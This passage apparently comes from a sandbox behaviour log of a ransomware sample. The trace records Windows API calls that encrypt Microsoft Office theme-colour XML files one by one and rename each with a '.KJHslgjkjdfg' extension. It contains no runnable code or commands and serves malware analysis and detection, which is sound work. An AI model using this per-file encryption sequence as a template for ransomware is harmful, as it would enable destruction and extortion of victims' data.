hTemplateFile=0x0) returned 0x130 [0220.652] GetProcessHeap () returned 0x990000 [0220.652] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.652] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.652] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.652] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0220.653] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.653] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.653] GetProcessHeap () returned 0x990000 [0220.653] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.653] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0220.653] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.653] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0220.653] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.654] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.654] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.654] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.654] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.654] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.654] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c5, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c5, lpOverlapped=0x0) returned 1 [0220.654] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0) returned 1 [0220.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.654] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d0, lpOverlapped=0x0) returned 1 [0220.654] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.654] SetEndOfFile (hFile=0x130) returned 1 [0220.656] GetProcessHeap () returned 0x990000 [0220.656] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.656] GetProcessHeap () returned 0x990000 [0220.656] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.656] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml.kjhslgjkjdfg")) returned 1 [0220.657] CloseHandle (hObject=0x130) returned 1 [0220.657] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9c9400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9c9400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0220.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.659] GetProcessHeap () returned 0x990000 [0220.659] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.659] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.659] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0220.661] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.661] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.661] GetProcessHeap () returned 0x990000 [0220.661] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0220.661] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0220.661] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.661] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0220.661] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.661] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.661] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.662] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.662] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.662] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.662] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c1, lpOverlapped=0x0) returned 1 [0220.662] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0) returned 1 [0220.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.662] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d0, lpOverlapped=0x0) returned 1 [0220.662] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.662] SetEndOfFile (hFile=0x130) returned 1 [0220.664] GetProcessHeap () returned 0x990000 [0220.665] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0220.665] GetProcessHeap () returned 0x990000 [0220.665] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.665] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml.kjhslgjkjdfg")) returned 1 [0220.666] CloseHandle (hObject=0x130) returned 1 [0220.666] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0220.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.667] GetProcessHeap () returned 0x990000 [0220.667] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.667] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.667] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0220.669] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.669] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.669] GetProcessHeap () returned 0x990000 [0220.669] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0220.669] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0220.669] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.669] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0220.670] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.670] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.670] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.670] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.670] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.670] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.670] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c1, lpOverlapped=0x0) returned 1 [0220.670] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0) returned 1 [0220.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.670] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d0, lpOverlapped=0x0) returned 1 [0220.670] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.670] SetEndOfFile (hFile=0x130) returned 1 [0220.673] GetProcessHeap () returned 0x990000 [0220.673] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0220.673] GetProcessHeap () returned 0x990000 [0220.673] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml.kjhslgjkjdfg")) returned 1 [0220.674] CloseHandle (hObject=0x130) returned 1 [0220.674] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1 [0220.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.675] GetProcessHeap () returned 0x990000 [0220.675] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.675] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.675] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.676] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0220.678] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.678] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.678] GetProcessHeap () returned 0x990000 [0220.678] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.678] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0220.678] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.678] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0220.678] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.678] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.678] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.678] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.679] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.679] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.679] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x39f, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x39f, lpOverlapped=0x0) returned 1 [0220.679] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a0) returned 1 [0220.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.679] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3a0, lpOverlapped=0x0) returned 1 [0220.679] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.679] SetEndOfFile (hFile=0x130) returned 1 [0220.680] GetProcessHeap () returned 0x990000 [0220.680] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.680] GetProcessHeap () returned 0x990000 [0220.680] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml.kjhslgjkjdfg")) returned 1 [0220.682] CloseHandle (hObject=0x130) returned 1 [0220.682] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0220.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.683] GetProcessHeap () returned 0x990000 [0220.683] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.683] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.683] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.683] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.684] GetProcessHeap () returned 0x990000 [0220.684] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0220.684] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0220.684] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.684] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0220.686] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: 